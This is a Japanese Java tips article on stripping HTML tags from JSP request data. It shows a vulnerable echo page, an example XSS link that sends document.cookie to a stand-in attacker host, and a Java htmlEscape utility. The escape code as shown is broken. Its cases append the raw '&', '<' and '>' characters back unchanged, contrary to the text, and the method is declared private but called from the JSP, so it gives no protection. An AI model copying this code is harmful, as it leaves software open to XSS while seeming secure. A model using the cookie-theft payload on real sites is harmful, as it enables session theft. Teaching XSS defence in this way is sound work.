検索
連載

リクエストデータからHTMLタグを取り除くJavaTips 〜JSP/サーブレット編

Share
Tweet
LINE
Hatena

 フォームから入力されたデータをそのまま、または間接的に表示させるアプリケーションなどで、入力データにHTMLタグが混在していると思わぬ不具合の原因となる場合があります。例えば、以下はJSPの入門書に出てきそうな、ごく基本的なJSPのコードです。

yowai.jsp
<%=request.getParameter("name")%>

 しかし、このJSPページに以下のようなリンクが張られていたらどうでしょう。

http://yarareta.hoge/yowai.jsp?name=<script>location.href=
'http://clacker.clacker/getCookie.jsp?param='%20%2B%20
document.cookie;</script>

 この中のgetCookie.jspは、取得したクッキーを攻撃者(クラッカー)のデータベース (ファイルシステム)に保存する機能を持つものとします。処理後に再び元のページにリダイレクトするようになっていると、何が行われたかをユーザーが気付くことはほとんどありません。こんなわずかな処理だけで、任意のユーザーが保存しているcookieの内容を第三者によって盗聴されてしまうのです。

 このような、ユーザーが実害を受ける可能性のある攻撃以外にも、掲示板のページを破壊してしまうような攻撃もあります。例えば、imgタグを利用して掲示板の内容とはまったく関係のない巨大な画像を張り付けるようなことや、h1やfontなどの閉じタグを意図的に省くことでページのレイアウト自体を思うままに変更してしまうことも可能です。

 このようなトラブルを未然に防ぐためには、リクエストデータに混在する(かもしれない)HTMLタグをあらかじめ、もしくは表示時に取り除く必要があります(「サニタイジング」といいます)。残念ながら、JSP 2.0/サーブレット 2.4では、HTMLタグを取り除くためのメソッドは用意されていませんが、以下のようなクラスを1つ用意すれば簡単に実現できます。

解説

 文字列中に含まれるHTMLタグを無効化するメソッド(クラス)は、以下のように定義します。

WingsUtil.java
package to.msn.wings;
 
public class WingsUtil {
  private static String htmlEscape(String strVal){
  StringBuffer strResult=new StringBuffer();
  for(int i=0;i<strVal.length();i++){
    switch(strVal.charAt(i)){
    case '&' :
      strResult.append("&");
      break;
    case '<' :
      strResult.append("<");
      break;
    case '>' :
      strResult.append(">");
      break;
    default :
      strResult.append(strVal.charAt(i));
      break;
    }
  }
  return strResult.toString();
  }
}

 この中のhtmlEscapeメソッドは、パラメータとして与えられた文字列を1文字ずつ読み込んで、“&”“<”“>”などの文字を見つけると、それぞれ“&amp;”“&lt;”“&gt;”に置き換え、置き換え後の文字(置き換えが必要ない文字は元の文字)をStringBufferオブジェクトに順に追加していきます。ここでは最低限の文字しか指定していませんが、case句を追加することで置き換え対象の文字を拡張することができます。最終的にでき上がったStringBufferオブジェクトをtoString メソッドで文字列に変換して完了です。

 リクエストデータの読み込み側(JSPページ)では、htmlEscapeメソッドを使用して、以下のように記述するだけです。

<%=WingsUtil.htmlEscape(request.getParameter("name")) %>

参考:JSP 1.2+JSTL 1.0ならc:outタグ、JSP 2.0+JSTL 1.1環境なら${fn:escapeXml}を利用しても同様の操作を実現できます。

Copyright © ITmedia, Inc. All Rights Reserved.

ページトップに戻る